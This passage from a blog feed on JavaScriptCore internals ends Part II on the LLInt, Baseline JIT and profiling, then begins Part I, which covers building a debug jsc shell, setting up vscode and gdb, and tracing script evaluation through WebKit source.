</span></span><span style="display:flex;"><span>                       <span style="color:#a6e22e">Base</span><span style="color:#f92672">/</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTL</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTLOSR</span> <span style="color:#a6e22e">Base</span><span style="color:#f92672">/</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTL</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTLOSR</span>                        <span style="color:#a6e22e">Src</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Total</span>   <span style="color:#a6e22e">Get</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Put</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Call</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">add</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DzQYpR</span>      <span style="color:#ae81ff">15</span>      <span style="color:#ae81ff">967</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">967</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>              <span style="color:#ae81ff">1</span>       <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>       <span style="color:#ae81ff">0</span>          <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>        <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){ <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>; }
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AYjpyE</span>  <span style="color:#ae81ff">116</span>      <span style="color:#ae81ff">506</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">506</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>              <span style="color:#ae81ff">1</span>       <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>       <span style="color:#ae81ff">0</span>          <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>        <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){ <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>; } <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.0</span>; <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0.1</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){ <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) }
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">p</span> <span style="color:#a6e22e">DzQYpR</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Compilation</span> <span style="color:#a6e22e">add</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DzQYpR</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Baseline</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg0</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">OtherObj</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg1</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">AnyIntAsDouble</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg2</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">NonIntAsDouble</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>        [  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 
</span></span><span style="display:flex;"><span> 
</span></span></code></pre></div><p>As seen in the output above the predicted types for <code>x</code> and <code>y</code> are now any <code>AnyIntAsDouble</code> and <code>NonIntAsDouble</code>. The definitions for the various speculated types can be found in <em>SpeculatedType.h</em> which is generated at compile time and is located under <code>&lt;WebKit build directory&gt;/Debug/DerivedSources/ForwardingHeaders/JavaScriptCore/SpeculatedType.h</code>. The table below<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> shows the unique speculation types used in JavaScriptCore:</p>
<p><img src="/images/jsc-part2/speculated_types.png" alt="speculation-types"></p>
<h1 id="conclusion">Conclusion</h1>
<p>This post explored the LLInt and the Baseling JIT by diving into the details of their implementation and tracing execution of bytecodes in the two tiers. The post also provided an overview of <em>offlineasm</em> assembly and how to understand the LLInt implementation that is written in this assembly. With the understanding of how the LLInt is constructed and how execution in the LLInt works, the post discussed <em>OSR</em> which is the mechanism that allows execution to transition from a lower tier to a higher JIT tier. Finally the blog post concluded by briefly touching upon the subject of profiling bytecode and the various sources used by the engine to gather profiling data.</p>
<p>In Part III of this blog series dives into the details of the Data Flow Graph (DFG). The DFG is the first of two optimising compilers used by JavaScriptCore and the post will explore the process of tiering up from the Baseline JIT into the DFG, the DFG IR and the DFG compiler pipeline.</p>
<p>We hope you&rsquo;ve found this post informative, if you have questions, spot something that&rsquo;s incorrect or have suggestions on improving this writeup do reach out to the author <a href="https://twitter.com/amarekano">@amarekano</a> or <a href="https://twitter.com/Zon8Research">@Zon8Research</a> on Twitter. We are more than happy to discuss this at length with anyone interested in this subject and would love to hear your thoughts on it.</p>
<h1 id="appendix">Appendix</h1>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=71">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=71</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=53">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=53</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">https://webkit.org/blog/10308/speculation-in-javascriptcore/</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref9:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref10:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref11:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref12:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=64">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=64</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://docs.google.com/document/d/18MQU5Dm31g4cVweuQuGofQAxfbenAAsE_njeTUuKOVA/edit">https://docs.google.com/document/d/18MQU5Dm31g4cVweuQuGofQAxfbenAAsE_njeTUuKOVA/edit</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="http://somethingkindawierd.com/2015/10/profiling-javascript-in-javascriptcore.html">http://somethingkindawierd.com/2015/10/profiling-javascript-in-javascriptcore.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=216">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=216</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>JavaScriptCore Internals Part I: Tracing JavaScript Source to Bytecode</title>
            <link>https://zon8.re/posts/jsc-internals-part1-tracing-js-source-to-bytecode/</link>
            <pubDate>Sun, 08 Nov 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-internals-part1-tracing-js-source-to-bytecode/</guid>
            <description>Introduction Fuzzing Webkit&amp;rsquo;s JavaScriptCore (JSC) with Fuzzilli proved to be quite successful and produced a fair number of crashes over time. However, once a crash was detected, triaging the crashes for exploitability took a fair bit of time due to unfamiliarity with the WebKit codebase and the lack of easily available documentation on navigating the codebase. This motivated the creation of this blog series to dig into the internals of JSC and hopefully be useful to others who wish to bootstrap their knowledge on the engine.</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Fuzzing Webkit&rsquo;s JavaScriptCore (JSC) with <a href="https://github.com/googleprojectzero/fuzzilli">Fuzzilli</a> proved to be quite successful and produced a fair number of crashes over time. However, once a crash was detected, triaging the crashes for exploitability took a fair bit of time due to unfamiliarity with the WebKit codebase and the lack of easily available documentation on navigating the codebase. This motivated the creation of this blog series to dig into the internals of JSC and hopefully be useful to others who wish to bootstrap their knowledge on the engine. This blogpost series is also aimed at security researchers to help them navigate aspects of the engine that are relevant for vulnerability research.</p>
<p>Part I of this series explores how source code is parsed and converted to bytecode and trace this journey through the codebase. The image, reproduced from a presentation on JSC<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, below describes the three aspects of this pipeline that will be cover as part of the blog post.</p>
<p><img src="/images/source-to-bytecode.png" alt="source-to-bytecode"></p>
<p>This post will cover the source code parser in JSC, the bytecode compiler which takes an AST (Abstract Syntax Tree) generated at the end of the parsing phase and emit bytecode from it. The bytecode is the source of truth for the engine and is one of the key inputs to the various Just-In-Time (JIT) compilers in JSC. This post will explore generated bytecode and help understand some of the opcodes and their operands. Finally, the post concludes by touching upon bytecode execution by the Low Level Interpreter (LLInt). <a href="/posts/jsc-internals-part2-the-llint-and-baseline-jit/">Part II</a> of this blog series will dive into the details of Low Level Interpreter (LLInt) and the Baseline JIT.</p>
<h1 id="existing-work">Existing Work</h1>
<p>An excellent talk on JSC architecture and JIT tiers that is highly recommended is <a href="https://www.youtube.com/watch?v=mtVBAcy7AKA">Michael Saboff — JavaScriptCore, many compilers make this engine perform</a>. Whilst it does not go into the internals of each JIT tier, it does provide an overview and the various optimisation techniques and profiling methods employed by the engine.</p>
<p>Another useful blog that on navigating the codebase was this <a href="https://trac.webkit.org/wiki/JavaScriptCore">WebKit wiki</a>. This did provide a useful highlevel overview of the engine but lacked sufficient detail.</p>
<p>Saelo&rsquo;s phrack paper on <a href="http://phrack.org/papers/attacking_javascript_engines.html">&ldquo;Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622&rdquo;</a> is another good read to familiarise oneself with the JSC runtime which he discusses in the various sections of his research.</p>
<h1 id="getting-started">Getting Started</h1>
<p>This section will demonstrate setting up a debugging environment and compile a debug build of the <code>jsc</code> shell utility. A working debugging environment will be important in being able to navigate the JSC codebase and examine various aspects of the engine execution at runtime.</p>
<h2 id="generating-a-debug-build">Generating a debug build</h2>
<p>The instructions below will clone the webkit repository mirrored on github and compile a debug build for the <code>jsc</code> shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ git clone git://git.webkit.org/WebKit.git <span style="color:#f92672">&amp;&amp;</span> cd WebKit
</span></span><span style="display:flex;"><span>$ Tools/gtk/install-dependencies
</span></span><span style="display:flex;"><span>$ Tools/Scripts/build-webkit --jsc-only --debug
</span></span><span style="display:flex;"><span>$ cd WebKitBuild/Debug/bin/
</span></span><span style="display:flex;"><span>$ ./jsc
</span></span></code></pre></div><h2 id="setting-up-a-debugging-environment">Setting up a debugging environment</h2>
<p>Once a debug binary has been generated, it is time to configure an IDE (Integrated Developement Environment) and debugger for code review and stepping through the execution of the engine. This post will use <a href="https://code.visualstudio.com/">vscode</a> with <a href="https://github.com/MaskRay/ccls/wiki">ccls</a> for code review and integrated with gdb for interactive debugging. However, the reader is free to use an IDE and debugger that they are most comfortable with. Should the reader decide to continue with vscode and ccls, the following launch task will need to be added to <code>launch.json</code> in vscode. Note: Do ensure that the file paths (i.e. <em>program</em> and <em>args</em>) listed in the snippet below are appropriately modified to reflect the target debugging environment.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;version&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;configurations&#34;</span><span style="color:#f92672">:</span> [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;name&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;request&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;program&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;args&#34;</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">&#34;--dumpGeneratedBytecodes=true&#34;</span>, <span style="color:#e6db74">&#34;--useJIT=false&#34;</span>,<span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;stopAtEntry&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;cwd&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;${workspaceFolder}&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;environment&#34;</span><span style="color:#f92672">:</span> [],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;externalConsole&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;MIMode&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;gdb&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;setupCommands&#34;</span><span style="color:#f92672">:</span> [
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;description&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Enable pretty-printing for gdb&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;text&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;-enable-pretty-printing&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ignoreFailures&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;preLaunchTask&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;WebKit Debug Build&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>An optional but handy build task was added to launch configuration that would build <code>jsc</code> before launching the debugger. This step is optional but it&rsquo;s generally a good idea to have the codebase in sync with the debug builds being generated. The build task added to tasks.json is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;version&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;2.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tasks&#34;</span><span style="color:#f92672">:</span> [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;label&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;WebKit Debug Build&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;shell&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;command&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/Tools/Scripts/build-jsc --jsc-only --debug&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Should all go to plan, the debugging environment should now allow launching gdb (<em>F5</em> in vscode) and hit breakpoints that have been setup like in the screenshot shown below:</p>
<p><img src="/images/debugger-setup.png" alt="debugger-setup"></p>
<h1 id="jsc-shell">JSC shell</h1>
<p>This section will discuss the <code>jsc</code> shell that was generated in the previous section and its importance in being able to understand the engine internals. The <code>jsc</code> shell allows both researchers and developers to test JavaScriptCore as an independent library without the need to build the entire WebKit project. The <code>jsc</code> shell provides a <a href="https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop">Repeat-Eval-Print-Loop (REPL)</a> environment for the javascript engine. In addition it also allows js scripts to be passed via the commandline, which is read by the <code>jsc</code> shell, parsed and executed by the engine.</p>
<p>The source code to the shell can be found in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/jsc.cpp">jsc.cpp</a></p>
<p>The entry point to the shell is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3488">jscmain</a>. This function is responsible for initialising Web Template Framework (WTF), which is a set of commonly used functions from the Webkit codebase, and parsing options before a JSC vm can be created.</p>
<p>Initialisation of JSC begins with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3568">runJSC</a> which when invoked allocates memory for the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3381"><code>VM</code></a> object as well as initialises and retrieves a <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3398"><code>GlobalObject</code></a> reference.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">runJSC</span>(<span style="color:#66d9ef">const</span> CommandLine<span style="color:#f92672">&amp;</span> options, <span style="color:#66d9ef">bool</span> isWorker, <span style="color:#66d9ef">const</span> Func<span style="color:#f92672">&amp;</span> func)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    VM<span style="color:#f92672">&amp;</span> vm <span style="color:#f92672">=</span> VM<span style="color:#f92672">::</span>create(LargeHeap).leakRef();
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    GlobalObject<span style="color:#f92672">*</span> globalObject <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        globalObject <span style="color:#f92672">=</span> GlobalObject<span style="color:#f92672">::</span>create(vm, GlobalObject<span style="color:#f92672">::</span>createStructure(vm, jsNull()), options.m_arguments);
</span></span><span style="display:flex;"><span>        globalObject<span style="color:#f92672">-&gt;</span>setRemoteDebuggingEnabled(options.m_enableRemoteDebugging);
</span></span><span style="display:flex;"><span>        func(vm, globalObject, success);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span></code></pre></div><p><code>GlobalObject::create</code> eventually ends up calling <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L577"><code>JSGlobalObject::init(VM&amp; )</code></a> which is responsible to initialising the <code>VM</code> with the required builtins and other runtime setup activities. This post won&rsquo;t go into the details of how the builtin code is parsed and linked to the VM but the interested reader should explore <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/builtins">JavaScriptCore/builtins/</a> for all the builtin objects/constructors that form part of the JSC runtime. Alternatively, setting breakpoints and stepping through the execution of <code>JSGlobalObject::init</code> would be another approach.</p>
<p>Once <code>VM</code> and <code>GlobalObject</code> have been initialised, the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3570">lambda function</a>, passed to <code>runJSC</code> is executed. The lambda function calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L2957">runWithOptions</a> which takes three arguments; a pointer to the initialised <code>GlobalObject</code>, the commandline options passed to the jsc shell and a status variable.</p>
<p><code>runWithOptions</code>&rsquo;s primary goal is to create the necessary buffers to store the raw javascript that is supplied to the <code>jsc</code> shell. For the purpose of the blog the following script file (<em>test.js</em>) will be passed as a commandline parameter to <code>jsc</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat test.js 
</span></span><span style="display:flex;"><span>let x <span style="color:#f92672">=</span> 10;
</span></span><span style="display:flex;"><span>let y <span style="color:#f92672">=</span> 20;
</span></span><span style="display:flex;"><span>let z <span style="color:#f92672">=</span> x + y;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ ./WebKitBuild/Debug/bin/jsc test.js
</span></span></code></pre></div><p>Once the backing buffers have been setup and populated, the shell will now being evaluating and executing the script with a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jsc.cpp#L3020"><code>evaluate</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>NakedPtr<span style="color:#f92672">&lt;</span>Exception<span style="color:#f92672">&gt;</span> evaluationException;
</span></span><span style="display:flex;"><span>JSValue returnValue <span style="color:#f92672">=</span> evaluate(globalObject, jscSource(scriptBuffer, sourceOrigin , fileName), JSValue(), evaluationException);
</span></span></code></pre></div><p>In the snippet above <code>scriptBuffer</code> stores the contents of <em>test.js</em> passed via the commandline; <code>sourceOrigin</code> stores the URI to the script, which in this case is the absolute path to the script passed on the commandline. <code>jscSource</code> is a helper function that generates a <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/SourceCode.h">SouceCode</a> object from the <code>scriptBuffer</code>. The SourceCode object encapsulates the raw script data.</p>
<h1 id="runtime-setup">Runtime Setup</h1>
<p>Now that the source code has been loaded into the engine via the <code>jsc</code> shell, the next step is to hand this over to the JSC engine and initiate processing of the loaded script. The function <code>evaluate</code> which is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/Completion.cpp">runtime/Completion.cpp</a> invokes <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/Completion.cpp#L137"><code>executeProgram</code></a> which is the point where the JSC engine takes over and begins processing:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JSValue <span style="color:#a6e22e">evaluate</span>(JSGlobalObject<span style="color:#f92672">*</span> globalObject, <span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> source, JSValue thisValue, NakedPtr<span style="color:#f92672">&lt;</span>Exception<span style="color:#f92672">&gt;&amp;</span> returnedException)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    VM<span style="color:#f92672">&amp;</span> vm <span style="color:#f92672">=</span> globalObject<span style="color:#f92672">-&gt;</span>vm();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    JSObject<span style="color:#f92672">*</span> thisObj <span style="color:#f92672">=</span> jsCast<span style="color:#f92672">&lt;</span>JSObject<span style="color:#f92672">*&gt;</span>(thisValue.toThis(globalObject, ECMAMode<span style="color:#f92672">::</span>sloppy()));
</span></span><span style="display:flex;"><span>    JSValue result <span style="color:#f92672">=</span> vm.interpreter<span style="color:#f92672">-&gt;</span>executeProgram(source, globalObject, thisObj);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
